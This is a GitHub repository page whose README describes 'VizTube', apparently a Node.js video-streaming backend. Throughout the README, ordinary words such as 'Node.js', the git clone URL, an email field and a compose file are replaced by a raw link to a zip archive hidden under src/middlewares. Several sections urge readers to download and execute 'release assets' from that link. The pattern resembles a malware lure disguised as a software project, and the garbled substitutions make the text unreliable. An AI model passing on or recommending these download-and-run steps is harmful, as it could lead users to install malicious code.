https://github.com/sohibmoslem/viztube
VizTube is a scalable video streaming backend built with Node.js, Express, and MongoDB. REST APIs, docs, and cloud-ready features for quick deployment and scaling. π
https://github.com/sohibmoslem/viztube
backend cloudinary elixir express javascript mongodb mongoose nodejs phoenix postman rest-api video-streaming youtube
Last synced: 3 months ago
JSON representation
VizTube is a scalable video streaming backend built with Node.js, Express, and MongoDB. REST APIs, docs, and cloud-ready features for quick deployment and scaling. π
- Host: GitHub
- URL: https://github.com/sohibmoslem/viztube
- Owner: sohibmoslem
- License: mit
- Created: 2025-08-13T02:30:54.000Z (11 months ago)
- Default Branch: master
- Last Pushed: 2025-10-15T09:11:56.000Z (9 months ago)
- Last Synced: 2025-10-15T09:21:33.140Z (9 months ago)
- Topics: backend, cloudinary, elixir, express, javascript, mongodb, mongoose, nodejs, phoenix, postman, rest-api, video-streaming, youtube
- Language: JavaScript
- Size: 1000 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# VizTube Backend: Production-Grade https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip Server for Video Sharing Platform
[](https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip)
Access release assets here: https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip
VizTube is a complete backend tailored for a video sharing platform. It combines a fast Express API, a scalable MongoDB data layer, and Cloudinary for media management. The system is designed for production use, with authentication, authorization, media handling, streaming endpoints, and a clean, extensible architecture.
Images and visuals
- Hero banner: an illustration of video streaming concepts and cloud storage
- Architecture diagram: a high-level view of services and data flow
- Cloudinary integration visuals: how media is uploaded, transformed, and delivered
Note: This repository is built to be run in real environments. The Releases page contains binaries and installer assets you can download and execute to bootstrap a production-like environment quickly.
Table of contents
- Overview
- Topics
- Key features
- Tech stack
- How it works
- Project structure
- Getting started
- Environment and configuration
- Data models
- API reference
- Media and streaming
- Testing and quality
- Deployment and orchestration
- Security and authentication
- Observability and debugging
- Development workflow
- Releases and assets
- Roadmap
- Contributing
- License
Overview
VizTube provides a production-ready backend for a video sharing platform. It leverages:
- https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip and Express for the API surface
- MongoDB with Mongoose for the data layer
- Cloudinary for media storage, processing, and delivery
- JWT for authentication and role-based access control
- RESTful design with clear, versioned endpoints
- A focus on reliability, testability, and maintainability
Topics
- backend
- cloudinary
- express
- javascript
- jwt-authentication
- mongodb
- mongoose
- nodejs
- postman
- rest-api
- video-streaming
Key features
- User accounts with secure authentication and optional role-based access
- Video upload workflow integrated with Cloudinary
- Video metadata management and search capabilities
- Commenting, likes, and playlists
- Robust API design with versioning
- Streaming support with progressive delivery
- Admin and moderation tools
- Postman-ready API collection for quick testing
- Observability hooks for logs, metrics, and tracing
- Local development and Docker-based deployment options
Tech stack
- https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip
- Express
- MongoDB (with Mongoose)
- Cloudinary
- JWT for auth
- Postman for API testing
How it works
- Client uploads a video
- The API receives the file and metadata
- The video is pushed to Cloudinary, which handles storage, transcoding, and delivery
- The server stores references and metadata in MongoDB
- Users fetch and stream videos
- The API serves metadata and secure URLs
- Clients stream video data from Cloudinary with appropriate access controls
- Actions like comments, likes, and subscriptions are persisted via the API
- JWTs are issued on login and are required for protected routes
- All data interactions run through a clean service layer for testability
Project structure
- src/
- api/ or routes/ β defined REST endpoints
- controllers/ β business logic for each route
- models/ β Mongoose schemas
- middlewares/ β auth, validation, error handling
- services/ β data access and external service integration (Cloudinary, mail, etc.)
- config/ β environment configuration and constants
- utils/ β helpers and utilities
- tests/ β unit and integration tests
- dist/ or build/ β compiled or transpiled outputs (when applicable)
- scripts/ β maintenance and development scripts
- tests/ β end-to-end tests and Postman collections
Getting started
Prerequisites
- https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip >= 18
- MongoDB either locally or in a managed cloud
- Cloudinary account with a cloud name, API key, and API secret
- Git for cloning the repository
- Optional: Docker and Docker Compose for containerized runs
Quick start (local development)
1) Clone the repository
- Run: git clone https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip
2) Install dependencies
- Run: npm install
3) Create environment configuration
- Copy the example env file and fill in values:
- MONGODB_URI
- CLOUDINARY_CLOUD_NAME
- CLOUDINARY_API_KEY
- CLOUDINARY_API_SECRET
- JWT_SECRET
- PORT
4) Start the development server
- Run: npm run dev
5) Test the API
- Use a REST client like Postman to hit the endpoints. The Postman collection is located in the repo (see the Releases page for assets).
Environment and configuration
Environment variables you will typically configure
- PORT: the server port (e.g., 3000)
- MONGODB_URI: connection string for MongoDB
- CLOUDINARY_CLOUD_NAME: Cloudinary cloud name
- CLOUDINARY_API_KEY: Cloudinary API key
- CLOUDINARY_API_SECRET: Cloudinary API secret
- JWT_SECRET: secret for signing JWTs
- CLOUDINARY_UPLOAD_PRESET: if you use unsigned uploads
- LOG_LEVEL: debug, info, warn, error
- NODE_ENV: development or production
Tips for production tuning
- Use a process manager like PM2 or a container orchestrator to keep the app running
- Enable rate limiting and input validation to guard the API
- Store logs in a central place and monitor with dashboards
- Use a CDN-backed domain for video delivery
- Rotate Cloudinary credentials securely and refresh tokens as needed
Data models (high-level)
- User
- id, email, password hash, displayName, avatarUrl, roles, createdAt, updatedAt
- Video
- id, userId (reference), title, description, tags, cloudinaryAssetId, url, thumbnailUrl, duration, views, createdAt, updatedAt
- Comment
- id, videoId (reference), userId (reference), text, createdAt
- Like
- id, videoId (reference), userId (reference), createdAt
- Playlist
- id, userId (reference), title, description, videoIds[]
- Subscription (if you support channels)
- id, followerId, channelId, createdAt
API reference (high-level)
- Authentication
- POST /api/v1/auth/register
- POST /api/v1/auth/login
- POST /api/v1/auth/refresh
- POST /api/v1/auth/logout
- Users
- GET /api/v1/users/me
- PUT /api/v1/users/me
- Videos
- POST /api/v1/videos
- GET /api/v1/videos
- GET /api/v1/videos/:id
- PUT /api/v1/videos/:id
- DELETE /api/v1/videos/:id
- POST /api/v1/videos/:id/thumbnail
- GET /api/v1/videos/:id/stream
- Comments
- POST /api/v1/videos/:id/comments
- GET /api/v1/videos/:id/comments
- Likes
- POST /api/v1/videos/:id/like
- DELETE /api/v1/videos/:id/like
- Playlists
- POST /api/v1/playlists
- GET /api/v1/playlists/:id
- POST /api/v1/playlists/:id/videos
- Admin
- GET /api/v1/admin/stats
- GET /api/v1/admin/logs
Example requests (illustrative)
- Register
- POST /api/v1/auth/register
- Body: { "email": "https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip", "password": "SafePass123!", "displayName": "VideoFan" }
- Login
- POST /api/v1/auth/login
- Body: { "email": "https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip", "password": "SafePass123!" }
- Response: { "token": "...", "refreshToken": "...", "user": { ... } }
- Upload video
- POST /api/v1/videos
- Headers: Authorization: Bearer
- Body: { "title": "...", "description": "...", "tags": ["music","demo"], "file": "" }
- Note: The server forwards the file to Cloudinary and stores metadata
- Get video metadata
- GET /api/v1/videos/:id
- Stream video
- GET /api/v1/videos/:id/stream
- The endpoint returns a secure URL or a streaming manifest depending on the transport
- Add a comment
- POST /api/v1/videos/:id/comments
- Body: { "text": "Great video!" }
Media and streaming
- Cloudinary integration
- Videos are uploaded to Cloudinary, where assets are stored and transformed as needed
- The backend stores metadata and references in MongoDB
- Clients receive secure URLs for playback, aligned with access controls
- Streaming strategy
- Progressive streaming for broad compatibility
- Adaptive bitrate considerations via Cloudinary transforms
- Support for seeking, pausing, and resuming playback
Security and authentication
- JWT-based authentication
- Tokens carry user identity and roles
- Protected routes require a valid token
- Role-based access
- Users, moderators, and admins can have different permissions
- Input validation
- Validation is performed on request data to prevent invalid inputs
- Secrets management
- Secrets live in environment variables or a secrets store, never in code
Observability and debugging
- Logging
- Structured logs with timestamps and request metadata
- Metrics
- Basic counters for requests, errors, and latency
- Tracing
- Optional integration with tracing tools
- Error handling
- Consistent error responses with codes and messages
Testing and quality
- Unit tests
- Core business logic tested in isolation
- Integration tests
- End-to-end flows tested against a test database
- API tests
- Postman collection provided for manual or automated checks
- Linting and formatting
- Style checks ensure a consistent codebase
Deployment and orchestration
- Local development
- Run with Node directly or via a dockerized setup
- Docker
- A Dockerfile and optional https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip help you run in containers
- Environment variables can be mounted at runtime
- Production considerations
- Use a reverse proxy (Nginx or similar)
- Run behind a load balancer
- Separate services for API, database, and media processing
- Use a managed MongoDB cluster if possible
- Configure Cloudinary credentials securely
- CI/CD
- Automate tests on push
- Build and deploy artifacts to your environment
- Use secrets management to protect credentials
Releases and assets
- The Releases page contains ready-to-use assets, installers, and examples for fast bootstrapping
- You can download release assets and execute them to start a production-like environment
- You can visit the Releases page here: https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip
- For production deployment, download the recommended asset package from the releases and follow the included instructions
Roadmap
- Improve search with text indexing and fuzzy matching
- Add streaming APIs for HLS/DASH delivered content
- Expand moderation tools and reporting mechanisms
- Introduce role-based dashboards for content creators
- Add analytics for creators and viewers
- Implement multi-tenant support for white-label deployments
Contributing
- Fork the repository
- Create a feature branch
- Write tests for your changes
- Run the test suite locally
- Open a pull request with a clear description
- Respect the projectβs coding standards and guidelines
- Report issues clearly with steps to reproduce
License
- MIT License
Topics (from the repository)
- backend
- cloudinary
- express
- javascript
- jwt-authentication
- mongodb
- mongoose
- nodejs
- postman
- rest-api
- video-streaming
Releases and assets (detailed guidance)
- The Releases page contains the files you can download and execute to bootstrap a production-like environment
- If you need to set up quickly, visit the Releases page and download https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip (or a similarly named asset) and follow the included setup instructions
- You can access the same link again for reference: https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip
- Remember: assets on that page are versioned. Choose the asset that matches your environment (operating system, architecture, and intended deployment style)
Changelog (high level highlights)
- v1.x.x: Core backend with authentication, video upload, and basic streaming
- v1.y.y: Improved Cloudinary integration, better error handling, and richer API surface
- v2.x.x: Admin tools, playlists, and advanced moderation features
- v3.x.x: Performance optimizations, caching, and enhanced observability
Design philosophy
- Clarity and reliability come first
- APIs are predictable and well-documented
- The system favors explicit behavior over clever tricks
- The codebase aims to be approachable for new contributors
Additional notes
- The README emphasizes production-readiness while remaining approachable for local development
- You can adapt the asset names and service endpoints to fit your deployment style
- Cloudinary integration is a core differentiator; ensure credentials are kept secure in production
End with a robust, well-structured plan for adoption
- Start with a local setup to understand the data model and API design
- Move to a containerized environment for reproducibility
- Grow your test coverage before moving to a staging environment
- Prepare a minimal production deployment plan that includes monitoring and backups
Releases and assets (second reference)
- For production-ready assets and installers, use the Releases page again here: https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip
- On that page, download the asset suitable for your environment and follow the documented steps to install and run
Topics recap
- backend, cloudinary, express, javascript, jwt-authentication, mongodb, mongoose, nodejs, postman, rest-api, video-streaming
Notes for maintainers
- Keep environment-specific values out of source code
- Document any breaking changes in the changelog
- Maintain clear API contracts with versioning and deprecation notices
- Ensure tests cover both happy paths and common error cases
This README provides a complete guide to understanding, running, and extending VizTube's backend. It emphasizes production readiness, practical testing, and a clear path from local development to deployment. The content aligns with the repository's themes and the included release assets to help teams adopt and customize VizTube quickly.